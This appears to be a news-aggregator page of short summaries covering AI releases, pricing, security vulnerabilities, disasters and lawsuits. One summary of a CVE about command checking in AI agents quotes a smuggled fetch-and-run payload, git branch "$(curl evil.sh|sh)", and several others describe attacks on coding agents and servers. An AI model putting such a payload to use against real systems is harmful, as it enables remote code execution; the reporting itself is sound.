Editorial Team
The GyaanSetu editorial team publishes practical, AI-assisted guides across AI, web development and business.
In beta, Nvidia’s Personal AI Router (PAIR) scans a home network for RTX-20 series GPUs, RTX-Pro cards, DGX Spark nodes or M4-chip Macs, then coordinates idle machines to run LLMs locally via Ollama or LM Studio, all under mutual TLS encryption.
The SSRF bug survives in Ollama 0.33.2 because the tensor model downloader uses a separate HTTP client that skips the redirect guard added for CVE-2026-5530, letting attackers redirect pulls to any reachable address.
The power-purchase agreement with Fervo’s enhanced geothermal system will start delivering electricity in 2028, giving Google a steady, carbon-free baseload that matches AI training’s nonstop demand while avoiding costly battery storage.
The startup’s hosted API lets anyone with a credit-card query an unrestricted version of GLM-5.3, eliminating the need for local GPUs or custom code. While security teams praise the tool for realistic attack simulations, researchers warn it can also churn out step-by-step instructions for cyber-crim
The open-source aidlc-workflows framework adds a four-stage life cycle—planning, implementation, verification, and review prep—to existing AI coding agents, letting teams track concrete metrics while weighing token overhead and model variance.
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
The new Live modes, powered by Google’s Gemini model, let users speak naturally to Gmail, Docs, and Keep on iOS and Android, with real-time transcripts and seamless hand-offs between queries, but they’re currently limited to English and premium AI subscriptions.
Foundry Toolbox consolidates credential handling, versioning and policy enforcement into a single endpoint, while Tool Search trims prompts to a ranked shortlist, trimming input tokens up to 94% in a 600-tool benchmark and boosting tool-selection accuracy.
The vulnerability (CVE-2026-85180) affects Ollama v0.33.2 and lets anyone supply a model name that forces the server’s tensor downloader to follow redirects to any address, including the cloud-metadata endpoint 169.254.169.254, without authentication.
Meta’s Llama 3.2 arrives in three configurations—8 B, 30 B, and 70 B—trained on 2.5 trillion tokens. The new architecture slashes compute needs by 22%, delivering 1.8x faster inference on modern GPUs while remaining fully Apache 2.0 licensed.
After 286 days at sea—including a rapid pivot to support US operations against Iran—the 1,100-foot carrier docked in Laem Chabang covered in rust, underscoring how continuous combat duty hampers essential hull maintenance.
The November ballot asks residents whether a charter amendment can set hard limits on land use, power draw and water consumption for projects the size of the proposed 300-acre, $6.9 billion facility.
The deluge, which struck without warning, also left 541 people missing in Tibet, pushing the regional missing-person count to 4,757, and forced the Nepali army to deploy excavators into flooded hydropower tunnels.
After a year at sea, the carrier’s stop in Pattaya revealed crumbling facilities, mental-health strain, and a $3 million boost to the local economy – a stark reminder that even nuclear-powered giants depend on fragile supply chains.
Vedere Labs paired Claude with Ghidra to rewrite shellcode for a different WAGO PLC, achieving end-to-end code execution and even a bricked device—showing AI can automate exploit adaptation with human oversight.
The restructuring will merge Uber’s restaurant, retail and direct-delivery units into streamlined global, regional and country teams, while eliminating layers that sit more than seven levels away from the CEO.
The ceiling gave way mid-lesson, raining debris on desks and benches. All six injured pupils are hospitalized but not in critical condition, and classes have been suspended pending an inspection.
Both Claude 5.1 variants now handle a million-token context window and can output up to 128 k tokens, while Anthropic slashed cache-read fees and introduced turn-scoped messages that curb stale instructions.
Google’s Chrome division bought Relay’s engineers in an acquihire, not the software. The deal means Relay’s AI-automation service for sales, support and ops will cease immediately, leaving customers to export data and rebuild workflows.
A proof-of-concept showed a fake DeepSeek-compatible endpoint stealing a coding agent’s session data—including directory listings and private file contents—by issuing unchecked tool-call instructions, exposing a new supply-chain risk for free AI services.
Gemini 3.8 Flash breaks problems into sub-questions, calls external APIs, and iterates, delivering top scores on engineering, finance, and legal benchmarks, but its token usage spikes 30%, driving total costs up about 40% for typical workloads.
Inside Wan 3.0: Multimodal Video Generation Generating a five second AI video is easy. Maintaining a character or a camera move for thirty seconds is hard. A long video requires m…
In an amicus brief filed in the New York Times case, the Justice Department argues that copying copyrighted text for model training isn’t infringement because the data never leaves the servers and model outputs rarely show substantial similarity, a stance that could spare AI firms from multibillion-
CEO Dara Khosrowshahi said the cuts will simplify Uber’s structure and accelerate its AI-driven robotaxi program, which has already pledged over $10 billion. The layoff coincides with a stricter hybrid-work rule, limiting fully remote roles to just 1 % of staff.
Apple’s fresh court filing alleges former staffer Chang Liu lifted a confidential circuit schematic and a proprietary verification tool, then enlisted OpenAI colleague Yu-Ting Peng to wipe the data, prompting a request for a preliminary injunction to halt OpenAI’s chip development.
Google’s AI Overviews Face Scrutiny Over Election Bias and Opacity A new study by the German advocacy group AlgorithmWatch has revealed significant inconsistencies and potential b…
AIR’s platform discovers hidden “Shadow AI” tools, intercepts risky skill loads in real time, and continuously re-verifies every plugin—blocking roughly 27% of add-ons it scans—helping regulated firms lock down autonomous agents.
The read-only connection lets doctors pull labs, notes and meds straight into the AI interface, while a new public-data plug-in adds real-time research from PubMed, ClinicalTrials.gov and drug databases, all under a Business Associate Agreement.
Built on Google’s proprietary Nano Banana model, Pics lets users type a prompt and instantly generate or edit high-fidelity images directly within Docs, Slides, and Drive, offering real-time collaborative tweaks and multiple variations without leaving the workspace.
Apple’s lawsuit claims former engineer Chang Liu downloaded a confidential circuit schematic and discussed destroying system logs on a company-owned MacBook. The company argues the laptop’s transient data could be overwritten, prompting a request for expedited court-ordered discovery.
The new model is offered in a general-purpose version and a ‘Cyber’ variant with relaxed safety for government red-team work, and its token rates stay below Claude Opus 5 and GPT-5.6 Sol even after the Jan 2027 price hike.
The 45 % discount applies when the same system prompt and tool schema are reused across many iterations, making Claude Fable 5.1 especially attractive for autonomous code reviewers, ticket-triage bots, and other repetitive agent pipelines.
The new pricing slashes cached-data fees, making memory-intensive, multi-step agents economically viable, while refined safeguards let enterprises keep data on their own clouds.
The agentic mode replaces the old fixed-rate frame sampling with a model-driven loop that decides when and how to inspect video, letting developers process full-length lectures or security footage at a tenth of the token budget while still catching events under a second.
The temple, one of the few remaining Hindu shrines in Narowal, vanished amid unclear circumstances, prompting New Delhi to label the act “reprehensible vandalism” and call for a transparent investigation.
The DOJ’s 20-page amicus argues that treating AI training as fair use is essential to keep U.S. firms ahead of overseas rivals, warning that a narrow copyright view would hamper research, innovation, and economic mobility.
Atlas uses spatial anchoring to turn as few as one to a few dozen photos into navigable 3-D worlds, rendering up to a minute of 1440p video while outputting point clouds and Gaussian splats for downstream robotics and content pipelines.
Amazon’s generative-AI engine now powers Alexa for Shopping to cross-check sender info, hidden metadata, and timing against billions of legitimate messages, giving shoppers instant verification of suspicious emails and texts.
The Series B, led by Delta-v Capital with Microsoft’s M12 and Morgan Stanley aboard, will fund sales expansion, deeper research into multi-modal attacks, and a push into EMEA, as HiddenLayer’s ARR jumps tenfold to the tens-of-millions range.
The Israeli-Dutch startup has pivoted from multilingual customer-service bots to a model-agnostic AI operating system, deploying forward-deployed engineers on-site in 35+ countries. Backed by Insight Partners and a new stake from Salesforce, the $550M round will fund product development and global F
Anthropic found that removing most of the system prompt’s rules didn’t hurt Claude Code’s output, proving that modern LLMs can infer style and constraints from a single instruction and that prompt scaffolding can be dramatically trimmed.
The Business Development Department’s IBAS system blends behavioral analysis, e-KYC and cross-agency data to flag high-risk entities, letting investigators focus on likely offenders and dramatically trimming shell-company activity.
The Model Context Protocol (MCP) introduces a uniform interface for AI agents to query databases, monitoring tools, code repos and more. By declaring resources, tools and prompts, a single MCP server can replace dozens of bespoke adapters, instantly surfacing data to any Claude-compatible client.
Qwen 3.6 vs 3.5: Same Speed, But Better Agents I almost published a post about Qwen 3.6 being slower than 3.5. My first test showed 12 tokens per second. The old version ran at 34…
Scammers harvested just seconds of the victim’s voice from online posts, used a zero-shot synthesis model to impersonate a bride’s family member, and convinced him to transfer ₹11.8 lakh before the fraud was uncovered.
A missing security expression on the `/api/stores/{id}/addresses` collection endpoint let any authenticated CoopCycle user enumerate store IDs and harvest full names, street addresses, and postcodes, compromising privacy across multiple cooperatives.
The wptexturize filter, meant for typographic niceties, is unintentionally escaping the && operator in inline JavaScript, turning it into && and causing entire script blocks to fail without any console errors.
WebFPGA uses the WebUSB API to program a Lattice iCE40-UP5K FPGA from JavaScript, enabling sub-10 ms TinyML inference while drawing only a few tens of milliwatts and keeping all data on the device.
The state now only requires proof of Marathi fluency—already used in every official document—allowing candidates to skip a separate Hindi certification and promising faster hiring and lower administrative expenses.
Claude Fable 5.1 Benchmarks: Every Number Compared Anthropic released Claude Fable 5.1 on 1 September 2026. The numbers show huge leaps in specific areas. The headline is the Term…
Running six LLMs on DigitalOcean droplets for 48 hours showed the $0.20-per-month mistral-tiny stayed within 8 GB RAM, delivering 120 ms latency, while larger models crashed, proving cheap models can be the only production-ready choice.
On Sept 1, 2026 Pakistan’s PM office shared a trimmed image that put Shehbaz Sharif at the centre of the SCO leaders, omitting Modi and four others. Within minutes, Modi posted the original shot, turning a social-media post into a diplomatic showdown and highlighting AI-driven image manipulation on
Anthropic’s Fable 5.1 reduces cache-read fees by 75%, trimming overall agent operating costs up to 45%. The cut lets autonomous models run for hours—or days—without constant human supervision, opening new production use cases.
JFrog disclosed CVE-2026-82329 on Aug 28, a 9.8-score CVSS bug that lets attackers forge admin tokens without any credentials. Threat intel confirms the exploit is already hitting internet-exposed on-prem installations, and patches are available for six affected versions.
The July 2026 spec strips every form of session state from MCP’s wire format, moving all context into the model’s token window and allowing any server to handle any request, but at the cost of token overhead and lost resumability.
The open-source suite includes versioned contracts, benchmark data and reusable shader templates, letting apps run inference without a network hop. While users gain speed and data sovereignty, the ease of local execution also raises new malware concerns.
An ice-and-rock avalanche on Aug. 26 unleashed a torrent that ravaged eight Nepalese districts, killing more than 1,050 people, flooding hydropower tunnels and prompting India to deploy a 19-member forensic team and a specialist underground rescue unit.
The exposed keys let attackers create charges, pull invoices and harvest personal data, threatening chargebacks, fines and brand damage. Immediate steps include blocking dotfiles, rotating every key and moving secrets to a vault.
The upgrade applies only to OpenRouter’s zero-cost models; paid models still incur per-token fees. The lifetime-spend rule means the 1,000-request limit never expires, even after you burn through your purchased credits.
The petition, filed by advocate Vivek Shukla on behalf of four app-based drivers, challenges the August 12, 2026 notification that makes Marathi proficiency a condition for licence renewal. A ruling tomorrow will dictate whether platforms must overhaul onboarding and bear multi-million-rupee tech co
SWE Prime: The Pass Label Is A Terrible Filter Most developers think more data makes agents smarter. If an agent passes a test, you log the session and add it to your training set…
The pilot runs Gemini Flash Lite inside Google Cloud’s Confidential Space, sealing both the test prompts and model weights in a cryptographic box that produces a proof the model never saw the questions.
New Delhi has already flown two aircraft with food, medicine and engineering kits, and is sending NDRF tunnel-rescue teams, reconnaissance units and portable Bailey bridges to restore cut-off routes in flood-ravaged Nepal.
India to Procure US Made Javelin Missiles: A Strategic Leap in Defence India is poised to significantly bolster its anti armour capabilities through the upcoming procurement of th…
The Ministry of External Affairs has opened a dedicated control room and is coordinating round-the-clock rescue operations with Nepalese agencies, while families await confirmation amid disrupted communications and damaged roads.
Beatport will automatically reject uploads that are primarily AI-generated, but it will still accept tracks that use AI as a tool, provided they’re clearly labeled as such. The move follows a survey where 77% of users preferred human-made music.
Survivors from a Tamil Nadu convoy recounted climbing hills and escaping through bus windows as mud-filled waves surged, while rescue teams have already evacuated over 1,500 injured amid ongoing searches for the missing.
The Bayonne ruling, backed by union CFDT and based on 12,600 flight hours, cites night-shift disruption, cosmic radiation and historic cabin smoking as the cause, granting Sophie Lainault early retirement and full medical reimbursement.
After an op-ed admitted using AI as a “calculator for arguments,” the Wall Street Journal stopped requiring disclosure of AI tools in opinion pieces. The move compels developers of editorial platforms to add configurable policies, role-based permissions, AI-function tagging, and auditable human sign
The Claudeforce pilot, launched on Aug. 26 2026, packs 37 pre-built sales skills that let users schedule meetings, update pipelines and more—all from Claude’s chat window, with a broader preview slated for September.
Authorities linked a cheating case filed in Telangana to Sharma’s movements, enabling Hyderabad police to locate his Agra flat. He was handed over to Delhi magistrates on Aug. 25 and now faces a US non-bailable warrant pending extradition.
The couple, Mohammad Sahil and Sameera, allegedly ran an ISI-backed cell that used batches of disposable SIM cards to smuggle personal IDs and classified material to contacts in Pakistan, prompting a city-wide security sweep.
The benchmark runs 27 synthetic cases and records pass/fail, offering a quick sanity check for issue coverage, but it omits timing, compute cost, language breadth, and live-repo validation, so the score isn’t a production guarantee.
A magnitude-5.2 glacier collapse on Aug. 26 sent a 9-metre surge down the Lhende Khola, wiping out roads, bridges and homes while jeopardising roughly a tenth of Nepal’s hydropower output and exposing the region’s growing climate-driven hazard cascade.
The new release tightens paragraph layout for complex scripts, adds a stripped-down Draft View, and improves ODF-DOCX/XLSX conversion, while security patches and macro sandboxing keep documents safe on-premise.
Barrett Zoph, who left OpenAI after a brief stint in enterprise sales, joins Google as VP of research to tighten Gemini’s alignment, reasoning and safety using his reinforcement-learning expertise—a direct attempt to close the gap with OpenAI’s GPT series.
In a live demo, Google Labs editorial director Steven Johnson fed Michael Pollan’s *Food Rules* into Gemini Notebook and got a full week-long menu with grocery list, while Kim Scott’s *Radical Candor* produced a step-by-step performance-review script—all without leaving the app.
A bogus senior-engineer gig sent a polished GitHub repo; running its starter script triggered hidden code in postcss.config.js that contacted a C2 server, downloaded a second-stage payload, and harvested every Chrome password stored in the macOS keychain.
The flaw (CVE-2026-35603) lets a non-admin drop a malicious config file in C:\ProgramData, which Claude Code, Cursor, Codex CLI and Gemini CLI read on launch, executing the payload with full admin rights and giving attackers silent control.
The new GA flow separates binary upgrades from data-format migrations, offering a configurable soak period where health metrics are monitored and rollback remains possible until the final data conversion.
The coalition cites recent U.S. agency alerts that hackers have already used AI to craft exploit code for Siemens S7 controllers, and urges corporate boardroom oversight, government research funding, and affordable AI-based defenses.
The 70-year-old victim was duped by a hyper-realistic AI persona that even showed six fingers in its images, prompting him to transfer roughly ₹1.5 crore before realizing it was a fraud and cutting off all online accounts.
The high-speed rail, slated for an August 2027 debut, now faces a funding puzzle that could force larger borrowing, new PPP deals or cuts to other projects, while opposition parties demand a parliamentary probe.
The upgraded AI Mode pulls data from over 300 airlines and major hotel chains, lets users track fare changes via email alerts, and completes bookings through a Google Pay checkout, while partners still handle reservations.
An internal investigation revealed the officer repeatedly accessed vehicle registrations, driver histories and other records without justification, including 3,500 look-ups on a single license plate, prompting prosecutors to label the conduct a massive violation of data integrity.
The 10-inch, one-eyed Microduck runs on a Rockchip RK3566 processor, sports LiDAR, a camera and articulated legs, and comes in four colors. Preorders start at $399 with shipping slated before Christmas 2026, and its software is fully open-source.
Enabling Bash Costs More Than MCP Schemas Many people think using a shell is cheaper than using Model Context Protocol (MCP) tools. They believe a shell is free and MCP is heavy o…
The $249 Plaud One ships in Q4 2026 with a 12 mm driver, ANC and up to 25 hours of continuous recording via its eSIM-powered case. Early adopters receive $200 in credits and 300 free transcription minutes each month, while the earbuds integrate directly with Gmail, Calendar, Notion and Slack.
The beta interface bundles prompt-based editing, background removal and image extension into a single toolbar, while the new markup tool lets users draw arrows, brushes and shapes to guide the AI, eliminating the need for complex prompt engineering.
Nepal China Glacier Collapse: Massive Humanitarian Crisis and Indian Impact A catastrophic glacier collapse in the Tibet Autonomous Region has triggered devastating flash floods a…
Our August 2026 Lighthouse audit of local service sites in 12 U.S. cities found the median Largest Contentful Paint at 8.9 seconds, with just four sites—3%—hitting Google’s 2.5-second “good” threshold. All major platforms suffered from bloated JavaScript bundles.
Voice AI at Scale: What India’s Business Calls Reveal Voice AI in India is moving from theory to daily operations. DialNexa analyzed over one million AI business calls to see how…
The two-door truck, equipped with a 65 kWh LFP battery delivering 205 miles per charge, will start shipping in late 2026 with a planned 100,000-unit annual line, aiming to make electric pickups affordable for the median household.
The audit of the EU’s highest-traffic sites found that two-thirds lack essential ARIA labels, 44% fail contrast ratios, and larger sites are three times more likely to violate Level A standards, putting them at risk of enforcement before WCAG 2.2 arrives.
The native browser, rolling out this week for Anthropic’s Pro, Max, Team and Enterprise tiers, lets Claude load pages, click buttons and type into fields within the desktop app, eliminating copy-paste workarounds and enabling automation on sites without public APIs.
The new release replaces the `{"thinking":{"type":"disabled"}}` payload with `{"thinking":{"type":"enabled","effort":"low"}}`, breaking automation scripts that relied on silent mode and adding a modest latency penalty for all callers.
OpenAI’s new tiered pricing introduces three models—Sol, Terra and Luna—each with dramatically lower input rates, plus a 90% discount on cached reads, but eliminates a free tier and batch-endpoint discounts.
The new RolloutSequence object lets you define ordered stages using label selectors, upgrade the control plane first, run a configurable soak timer, then parallel-upgrade nodes before moving to the next stage, all with pause, force-complete and cancel actions.
A magnitude-4.4 tremor preceded the disaster, but no rain fell, rendering rain-based alerts silent. Researchers argue that real-time seismic and river-stage sensors linked to AI could give a 20-30-minute warning before a dam breach.
Tencent’s 2-billion-parameter WeMM-Embedding supports Matryoshka vectors from 64 to 2048 dimensions. Tests show 256-dim vectors keep 98.7 % of the accuracy of the full 2048-dim model while slashing storage, memory and indexing time.